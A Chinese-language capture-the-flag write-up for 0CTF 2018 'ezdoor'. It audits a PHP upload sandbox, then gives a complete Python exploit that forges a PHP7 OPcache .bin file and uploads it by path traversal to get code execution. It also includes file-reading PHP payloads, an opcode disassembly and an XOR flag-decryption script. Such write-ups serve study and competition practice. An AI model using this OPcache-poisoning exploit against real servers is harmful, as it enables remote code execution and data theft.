0ctf2018 ezdoor writeup

Ezdoor

首先代码审计

<?php

error_reporting(0);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
  mkdir($dir);
}
if(!file_exists($dir . "index.php")){
  touch($dir . "index.php");
}

function clear($dir)
{
  if(!is_dir($dir)){
    unlink($dir);
    return;
  }
  foreach (scandir($dir) as $file) {
    if (in_array($file, [".", ".."])) {
      continue;
    }
    unlink($dir . $file);
  }
  rmdir($dir);
}

switch ($_GET["action"] ?? "") {
  case 'pwd':
    echo $dir;
    break;
  case 'phpinfo':
    echo file_get_contents("phpinfo.txt");
    break;
  case 'reset':
    clear($dir);
    break;
  case 'time':
    echo time();
    break;
  case 'upload':
    if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
      break;
    }

    if ($_FILES['file']['size'] > 100000) {
      clear($dir);
      break;
    }

    $name = $dir . $_GET["name"];
    if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
      stristr(pathinfo($name)["extension"], "h")) {
      break;
    }
    move_uploaded_file($_FILES['file']['tmp_name'], $name);
    $size = 0;
    foreach (scandir($dir) as $file) {
      if (in_array($file, [".", ".."])) {
        continue;
      }
      $size += filesize($dir . $file);
    }
    if ($size > 100000) {
      clear($dir);
    }
    break;
  case 'shell':
    ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
    include $dir . "index.php";
    break;
  default:
    highlight_file(__FILE__);
    break;
}

存在上传漏洞,上传至沙盒,phpinfo以一种奇怪的方式出现在这里,后面再说

然后成功包含index.php的话可以getshell

代码除了上传漏洞外无可疑处,因此尝试解析phpinfo

phpinfo

发现opcache开着,然后找到了这篇文章

利用 PHP7 的 OPcache 执行 PHP 代码

ojbk问题解决,一摸一样,连绕过都可以参考。

首先本地搭起同样的环境,然后在index.php里写入代码,然后访问index.php即可在相应目录下生成index.php.bin

然后exp:

import requests
import struct
import hashlib
import time

php_version = "7.0.28"
zend_extension_id = "API320151012,NTS"
zend_bin_id = "BIN_SIZEOF_CHAR48888"




opcache_dir = "/tmp/cache/"
system_id = hashlib.md5(php_version+zend_extension_id+zend_bin_id).hexdigest()
base_url = "http://202.120.7.217:9527/"

# system_id = hashlib.md5("7.0.28-0ubuntu0.16.04.1API320151012,NTSBIN_SIZEOF_CHAR48888").hexdigest()
# base_url = "http://112.213.118.106:32768/"

web_dir = "/var/www/html/"

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}

#get user_dir
user_dir = requests.get(url=base_url+"?action=pwd").content

#set file_name
file_name = "../../../../../"+opcache_dir+system_id+web_dir+user_dir+"index.php.bin"


requests.get(url=base_url+"?action=reset",headers=headers)
#time.sleep(5)#wait for clearing


#get timestamp
s_timestamp = int(requests.get(url=base_url+"?action=time",headers=headers).content)


#generate remote index.php.bin

requests.get(url=base_url,headers=headers)

requests.get(url=base_url+"?action=shell",headers=headers)

#time.sleep(10)#wait for generating

for i in range(-5,5):
    #generate local index.php.bin
    timestamp = struct.pack("i",s_timestamp+i)
    with open("shell.bin","rb") as f:
        bin = f.read()

    new_bin = bin[:8]+system_id+bin[8+0x20:0x40]+timestamp+bin[0x44:]

    requests.post(url=base_url+"?action=upload&name="+file_name,files={"file":new_bin},headers=headers)
    if len(requests.get(url=base_url+"?action=shell",headers=headers).content) != 0:
        print "get shell!"
        break

本地可以过,但是远程一只没有过,最后问了出题人,出题人说一些函数被禁用了,才反应过来去phpinfo里找disabled_function,然后发现phpinfo不完整,disable_function被删除了23333333

那么只能利用手头有的函数进行获取flag

<?php
print_r(scandir('/var/www/html/flag'));
<?php
print_r(file_get_contents('/var/www/html/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228cad'));

成功获取了文件flag.php.bin,然后又是卡死的一步233333

然后简单的对bin文件的格式进行修复后,丢给了逆向狗

 bertram@berTrAM-Mac$~ python opcache_disassembler.py -c -a64 ~/Downloads/1.txt

function encrypt() {
  #0 !0 = RECV(None, None);
  #1 !0 = RECV(None, None);
  #2 DO_FCALL_BY_NAME(None, 'mt_srand');
  #3 SEND_VAL(1337, None);
  #4 (129)?(None, None);
  #5 ASSIGN(!0, '');
  #6 (121)?(!0, None);
  #7 ASSIGN(None, None);
  #8 (121)?(!0, None);
  #9 ASSIGN(None, None);
  #10 ASSIGN(None, 0);
  #11 JMP(->-24, None);
  #12 DO_FCALL_BY_NAME(None, 'chr');
  #13 DO_FCALL_BY_NAME(None, 'ord');
  #14 FETCH_DIM_R(!0, None);
  #15 (117)?(None, None);
  #16 (129)?(None, None);
  #17 DO_FCALL_BY_NAME(None, 'ord');
  #18 MOD(None, None);
  #19 FETCH_DIM_R(!0, None);
  #20 (117)?(None, None);
  #21 (129)?(None, None);
  #22 BW_XOR(None, None);
  #23 DO_FCALL_BY_NAME(None, 'mt_rand');
  #24 SEND_VAL(0, None);
  #25 SEND_VAL(255, None);
  #26 (129)?(None, None);
  #27 BW_XOR(None, None);
  #28 SEND_VAL(None, None);
  #29 (129)?(None, None);
  #30 ASSIGN_CONCAT(!0, None);
  #31 PRE_INC(None, None);
  #32 IS_SMALLER(None, None);
  #33 JMPNZ(None, ->134217662);
  #34 DO_FCALL_BY_NAME(None, 'encode');
  #35 (117)?(!0, None);
  #36 (130)?(None, None);
  #37 RETURN(None, None);

}
function encode() {
  #0 RECV(None, None);
  #1 ASSIGN(None, '');
  #2 ASSIGN(None, 0);
  #3 JMP(->-81, None);
  #4 DO_FCALL_BY_NAME(None, 'dechex');
  #5 DO_FCALL_BY_NAME(None, 'ord');
  #6 FETCH_DIM_R(None, None);
  #7 (117)?(None, None);
  #8 (129)?(None, None);
  #9 (117)?(None, None);
  #10 (129)?(None, None);
  #11 ASSIGN(None, None);
  #12 (121)?(None, None);
  #13 IS_EQUAL(None, 1);
  #14 JMPZ(None, ->-94);
  #15 CONCAT('0', None);
  #16 ASSIGN_CONCAT(None, None);
  #17 JMP(->-96, None);
  #18 ASSIGN_CONCAT(None, None);
  #19 PRE_INC(None, None);
  #20 (121)?(None, None);
  #21 IS_SMALLER(None, None);
  #22 JMPNZ(None, ->134217612);
  #23 RETURN(None, None);

}

#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);

逆向部分

得到字节码文件,但是部分字节码没有能够成功赋予意义

具体字节码与字节对应查看http://php.net/manual/en/internals2.opcodes.php

根据以上的代码大致可以分析出来代码的逻辑,就几次异或 然后chr ord转换

伪代码如下

def encode(data):
    return output.encode('hex')
def encrypt(flag,strings):
    mt_srand(1337)
    output = ""
    for i in range(len(flag)):
        output += chr(ord(flag[i])^ord(strings[i])^mt_rand(0,255))
    return encode(output)
flag = raw_input('input_your_flag_here')
if encrypt(flag,this_is_a_very_secret_key)==="85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab":
    print 'Congratulation! You got it!'
else:
    'Wrong Answer'

解密脚本

data = [151,189,92,232,167,217,167,90,114,82,84,72,9,134,182,90,23,152,129,27,93,6,22,114,194,105,104,203,65,60,215,147,238,81,111,91,179,57,195,148,8,72,61,71,122,91,137,196,223,225,76,134,196,244,114]

opt = "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab".decode("hex")

data2 = "this_is_a_very_secret_key"
flag = ""
for i in range(len(opt)):
    flag += chr(data[i]^ord(opt[i])^ord(data2[i%len(data2)]))

print flag

此处评论已关闭